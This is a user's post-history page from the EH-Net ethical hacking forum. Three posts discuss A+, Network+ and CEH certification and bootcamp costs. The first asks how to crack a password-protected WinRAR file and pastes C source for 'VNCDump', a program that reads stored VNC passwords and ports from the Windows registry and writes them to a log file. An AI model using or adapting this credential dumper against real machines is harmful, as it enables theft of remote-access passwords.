Image
 
linkedin_logo.png rss_logo.jpg
twitter_logo.png youtube_logo.jpg
Latest Additions
 
EH-Net Login
Welcome Guest.






Lost Password?
No account yet? Register
Who's Online
We have 47 guests and 2 members online
 
Advertisement

You are here: Home
EH-Net
May 20, 2013, 09:26:54 AM *
Welcome, Guest. Please login or register.
Did you miss your activation email?

Login with username, password and session length
News: Go back to The Ethical Hacker Network Online Magazine Home Page
 
  Home Help Calendar Login Register  
  Show Posts
Pages: [1]
1  Ethical Hacking Discussions and Related Certifications / Other / What can I get from this? on: September 15, 2007, 07:48:16 PM
how can i crack this? i think there is a password there, but i don't know yet how to crack it, in auggestions please?

it's encrypted winrar file.



#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

void main(int argc,char *argv[])
{
   HKEY key;
   HKEY key2;
   unsigned char buffer[8];
   unsigned char buffer2[8];
   unsigned char port[16];
   unsigned char port2[32];
   unsigned long PSize2 = sizeof(port2);
   unsigned long PSize = sizeof(port);
   unsigned long size = sizeof(buffer);
   unsigned long size2 = sizeof(buffer2);
   printf("\tVNCDump By KD-Team\n");
   FILE *VFile;
   VFile = fopen("vnclog.txt","a+");
   if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_CURRENT_USER,"SOFTWARE\\ORL\\WinVNC3",0,KEY_ALL_ACCESS,&key))
   {
      printf("Opening Key \"HKCU\" succeded\n");
      printf("Handle: %i\n",key);
   }
   else
   {
      printf("Opening Key Failed\n");
      RegCloseKey(key);
   }

   if(ERROR_SUCCESS == RegQueryValueEx(key,"Password",NULL,0,buffer,&size))//(LPBYTE)
   {
      printf("Quering Key succeded\n");
      printf("HKCU Password\n");
      fprintf(VFile,"%s","HKCU\n");
      fprintf(VFile,"%s","Password: ");
      for(int length = 0; length < sizeof(buffer); length++)
      {
         printf("%x", buffer[length]);
         fprintf(VFile,"%x",buffer[length]);
      }
      fprintf(VFile,"%s","\n");
      memset(&buffer,0,sizeof(buffer));
      printf("\n");

      if(ERROR_SUCCESS == RegQueryValueEx(key,"PortNumber",NULL,0,port,&PSize))//(LPBYTE)
      {
         printf("Quering Key succeded\n");
         printf("HKCU PortNumber\n");
         fprintf(VFile,"%s","HKCU\n");
         fprintf(VFile,"%s","PortNumber: ");
         for(int length = strlen(port); length >= 0 ; length--)
         {
            printf("%x", port[length]);
            fprintf(VFile,"%x",port[length]);
         }
         fprintf(VFile,"%s","\n");
         fclose(VFile);
         RegCloseKey(key);
      }
      else
      {
         printf("Quering Key Failed\n");
         RegCloseKey(key);
      }
   }
   else
   {
      printf("Quering Key Failed\n");
      RegCloseKey(key);
   }
//**********************************************************************************************************
   VFile = fopen("vnclog.txt","a+");
   if(ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\ORL\\WinVNC3\\Default",0,KEY_ALL_ACCESS,&key2))
   {
      printf("\nOpening Key \"HKLM\" succeded\n");
      printf("Handle: %i\n",key2);
   }
   else
   {
      printf("Opening Key Failed\n");
      RegCloseKey(key2);
   }

   if(ERROR_SUCCESS == RegQueryValueEx(key2,"Password",NULL,0,buffer2,&size2))//(LPBYTE)
   {
      printf("Quering Key succeded\n");
      printf("HKLM Password\n");
      fprintf(VFile,"%s","HKLM\n");
      fprintf(VFile,"%s","Password: ");
      for(int length2 = 0; length2 < sizeof(buffer2); length2++)
      {
         printf("%x", buffer2[length2]);
         fprintf(VFile,"%x",buffer2[length2]);
      }
      fprintf(VFile,"%s","\n");
      memset(&buffer2,0,sizeof(buffer2));
      printf("\n");
      if(ERROR_SUCCESS == RegQueryValueEx(key2,"PortNumber",NULL,0,port2,&PSize2))//(LPBYTE)
      {
         printf("Quering Key succeded\n");
         printf("HKLM PortNumber\n");
         fprintf(VFile,"%s","HKLM\n");
         fprintf(VFile,"%s","PortNumber: ");
         for(int length2 = strlen(port2); length2 >= 0 ; length2--)
         {
            printf("%x", port2[length2]);
            fprintf(VFile,"%x",port2[length2]);
         }
         fprintf(VFile,"%s","\n");
         fclose(VFile);
         RegCloseKey(key2);
      }
      else
      {
         printf("Quering Key Failed\n");
         RegCloseKey(key2);
      }
   }
   else
   {
      printf("Quering Key Failed\n");
      RegCloseKey(key2);
   }
}
2  Ethical Hacking Discussions and Related Certifications / General Certification / Re: Need advice on where to start my career!! on: September 14, 2007, 10:27:04 AM
Well thanks i will do Comptia A+ first the further my education on something else later on. I just think others should have knowledge of what they doing before going to bootcamp.
3  Ethical Hacking Discussions and Related Certifications / General Certification / Need advice on where to start my career!! on: September 14, 2007, 08:12:20 AM
Hi all i am new here just wanted to get to info on where to go in my career, i have done pc repairs for ICS now i have to do it over in A+, which i will start  next week. I am intereted in Network+, sec+ and CEH. Problem is some school offer Network+ to do it in four days, now i have a quite a good knowledge in Networks but surley if i i never done it before i could not do it in four days at these boot camps. I just think they are advertising just to make money not to train us properly.

thx
4  Columns / Editor-In-Chief / Re: [Article]-So You Want To Hack For A Living? on: September 12, 2007, 06:14:54 PM
Just to comment on the article on the home page.
[/u][/b][/shadow]

Hi everyone i am here in sunny England and saw a ad about digital forensics i investigated it and it lead me to www.trainingcamp.co.uk, now they had all the courses so i called to get some info, the guy said i had to do ceh course first also security+. For CEH course was 7days boot camp. Okay i decided then i will start from A+ cost was like £2000 maybe more,  told him i did this before just not from comptia, the guy gave me a discount and offered network+ also for £1700 two courses in 7days. training/boot camp is the same to me.

I asked are these courses for beginners he said yes i was like 7days two monster courses i was going to do it but changeed my mind i couldn't do that even if i was a total beginner. So as the article on the home page said your are setting yourself up for failure and it's not easy to do the CEH at these places. If you are new or experienced.


Nice article alot can be learned from it for noobs like me.

thx
Pages: [1]
Powered by MySQL Powered by PHP Powered by SMF 1.1.18 | SMF © 2013, Simple Machines
Joomla Bridge by JoomlaHacks.com
Valid XHTML 1.0! Valid CSS!
Page created in 0.083 seconds with 22 queries.
 
Exclusive Deal

sansfire13_245x90_cw90.jpg
SANSFIRE 2013
June 15 - 22

5% Off w/ Code: EHN_5

SANS Deals 4 EH-Netters
5% OFF Any SANS Course in Any Format!
Coupon Code: EHN_5 Including SANS Rocky Mountain 2013 & SANS Boston 2013
Polls
Compared to this year, 2013 will be:
 
Recent Forum Topics
EH-Net News Feeds
Latest Additions
 
         
Advertisement

© 2013 The Ethical Hacker Network
Joomla! is Free Software released under the GNU/GPL License.